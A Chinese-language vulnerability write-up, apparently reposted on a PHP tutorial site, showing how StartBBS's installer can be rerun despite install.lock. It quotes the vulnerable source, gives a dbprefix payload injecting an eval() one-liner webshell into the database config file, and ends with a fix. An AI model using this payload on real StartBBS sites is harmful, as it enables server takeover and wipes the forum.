网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

开源轻论坛StartBBS前台getshell - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-15 14:59 作者: 阅读:

[导读] 直接写一句话getshell。所有测试都是在本地进行的哦,我立志做一个好孩纸~!心血来潮读读代码。StartBBS界面挺清爽的,体积也小。下载下来安装。 安装好后发现根目录下多了一个inst...

直接写一句话getshell。
所有测试都是在本地进行的哦,我立志做一个好孩纸~!
 
心血来潮读读代码。StartBBS界面挺清爽的,体积也小。下载下来安装。
 
  安装好后发现根目录下多了一个install.lock,一般的cms为了防止被重安装就会在目录下生成一个类似的文件,下次有人再访问安装脚本的时候,脚本会检测,如果目录下有这个文件就提示“请删除后再安装”。
 
  原本应该是没有任何问题的。但我们来到安装脚本,/app/controllers/install.php中,查看它是怎么处理的:
 
class Install extends Install_Controller

{

function __construct ()

{

parent::__construct();

$this->load->library('myclass');

$file=FCPATH.'install.lock';

if (file_exists($file)){

$this->myclass->notice('alert("系统已安装过");window.location.href="'.site_url().'";');

}



}

 

 
 
  看到这里我就笑了。构造函数里检查是否存在install.lock,然后用javascript的方式告诉用户“系统已安装过”,然后跳转。但是这个脚本根本还没有结束嘛,这个类里的函数都可以运行,并不因为返回了一个window.location.href就停止运行。(this->myclass->notice()中也没有停止运行的代码)
 
  然后,在往下翻,就能看到安装的函数:
 
public function step($step)

{

$data['step']=$step;

if($step==1 || $step==2){

$data['permission'] = $this->_checkFileRight();

$this->load->view('install',$data);

}

if($step==3){

$this->_install_do();

}

}



function _install_do()

{

$data['step']=3;

if($_POST){ 

$dbhost = $this->input->post('dbhost');

$dbport = $this->input->post('dbport');

$dbname = $this->input->post('dbname');

$dbuser = $this->input->post('dbuser');

$dbpwd = $this->input->post('dbpwd')?$this->input->post('dbpwd'):'';

$dbprefix = $this->input->post('dbprefix');

$userid = $this->input->post('admin');

$pwd = md5($this->input->post('pwd'));

$email = $this->input->post('email');

$sub_folder = '/'.$this->input->post('base_url').'/';

$conn = mysql_connect($dbhost.':'.$dbport,$dbuser,$dbpwd);

if (!$conn) {

die('无法连接到数据库服务器,请检查用户名和密码是否正确');

}

if($this->input->post('creatdb')){

if(!@mysql_query('CREATE DATABASE IF NOT EXISTS '.$dbname)){

die('指定的数据库('.$dbname.')系统尝试创建失败,请通过其他方式建立数据库');

}

}

if(!mysql_select_db($dbname,$conn)){

die($dbname.'数据库不存在,请创建或检查数据名.');



}

$sql = file_get_contents(FCPATH.'app/config/startbbs.sql');

$sql = str_replace("sb_",$dbprefix,$sql);

$explode = explode(";",$sql);

$data['msg1']="创建表".$dbname."成功,请稍后……<br/>";

foreach ($explode as $key=>$value){

    if(!empty($value)){

    if(trim($value)){

    mysql_query($value.";");

    }

    }

  }

$password = $pwd;

  $ip=$this->myclass->get_ip();

  $insert= "INSERT INTO ".$dbprefix."users (group_type,gid,is_active,username,password,email,regtime,ip) VALUES ('0','1','1','".$userid."','".$password."','".$email."','".time()."','".$ip."')";

  mysql_query($insert);

mysql_close($conn);

$data['msg2']="安装完成,正在保存配置文件,请稍后……"; 

$dbconfig = "<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');\n"

."\$active_group = 'default';\n"

."\$active_record = TRUE;\n"

."\$db['default']['hostname'] = '".$dbhost."';\n"

."\$db['default']['port'] = '".$dbport."';\n"

."\$db['default']['username'] = '".$dbuser."';\n"

."\$db['default']['password'] = '".$dbpwd."';\n"

."\$db['default']['database'] = '".$dbname."';\n"

."\$db['default']['dbdriver'] = 'mysql';\n"

."\$db['default']['dbprefix'] = '".$dbprefix."';\n"

."\$db['default']['pconnect'] = TRUE;\n"

."\$db['default']['db_debug'] = TRUE;\n"

."\$db['default']['cache_on'] = FALSE;\n"

."\$db['default']['cachedir'] = 'app/cache';\n"

."\$db['default']['char_set'] = 'utf8';\n"

."\$db['default']['dbcollat'] = 'utf8_general_ci';\n"

."\$db['default']['swap_pre'] = '';\n"

."\$db['default']['autoinit'] = TRUE;\n"

."\$db['default']['stricton'] = FALSE;";

$file = FCPATH.'/app/config/database.php';

file_put_contents($file,$dbconfig);



//保存config文件

if($sub_folder){

$this->config->update('myconfig','sub_folder', $sub_folder);

}

$encryption_key = md5(uniqid());

if($encryption_key){

$this->config->update('myconfig','encryption_key', $encryption_key);

}



$data['msg3']="保存配置文件完成!";

touch(FCPATH.'install.lock'); 

$data['msg4']="创建锁定安装文件install.lock成功";

$data['msg5']="安装startbbs成功!";

}

$this->load->view('install',$data);



}

 

 
 
 
  当step函数的参数为3时,就执行安装函数_install_do(),这个函数里初始化了数据库,并把数据库配置文件写入了“/app/config/database.php”。于是,我们可以构造一下数据包直接把一句话写入到这个配置文件里。
 
  我们看到,这个函数接收了许多post数据:
 
  $dbhost = $this->input->post('dbhost');

  $dbport = $this->input->post('dbport');

  $dbname = $this->input->post('dbname');

  $dbuser = $this->input->post('dbuser');

  $dbpwd = $this->input->post('dbpwd')?$this->input->post('dbpwd'):'';

  $dbprefix = $this->input->post('dbprefix');

  $userid = $this->input->post('admin');

  $pwd = md5($this->input->post('pwd'));

  $email = $this->input->post('email');

  $sub_folder = '/'.$this->input->post('base_url').'/';

 

 
  其中dbhost、dbport、dbname、dbuser、dbpwd都不能随便乱写,乱写的话安装就会出错,而userid、pwd、email、sub_folder都是写入数据库的,不写入配置文件。所以就剩下dbprefix了,所以我们可以这样构造这个字段:
 
  dbprefix=sb_';@eval ($_POST[101]);$xxx='
 
漏洞证明:
因为这个重安装漏洞破坏性太大,getshell以后网站等于重置了,所以我没有在网上测试。测试都在本地进行~
 
 
 
首先在外面找一个可以外连的mysql账号,为的是让安装成功进行。
 
我这里在我vps上新建了一个账号test_db_user,然后构造下面的这个数据包,发送:
 
等待一会发现返回了安装成功提示。因为我在本地测试的,所以我来到网站目录下,/app/config/database.php
可以看到,一句话已经写入了。菜刀连接index.php就可以了,直接连这个数据库配置文件是不行的。


修复方案:
function __construct ()

{

parent::__construct();

$this->load->library('myclass');

$file=FCPATH.'install.lock';

if (file_exists($file)){

$this->myclass->notice('alert("系统已安装过");window.location.href="'.site_url().'";');

exit;

}



}

 


自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论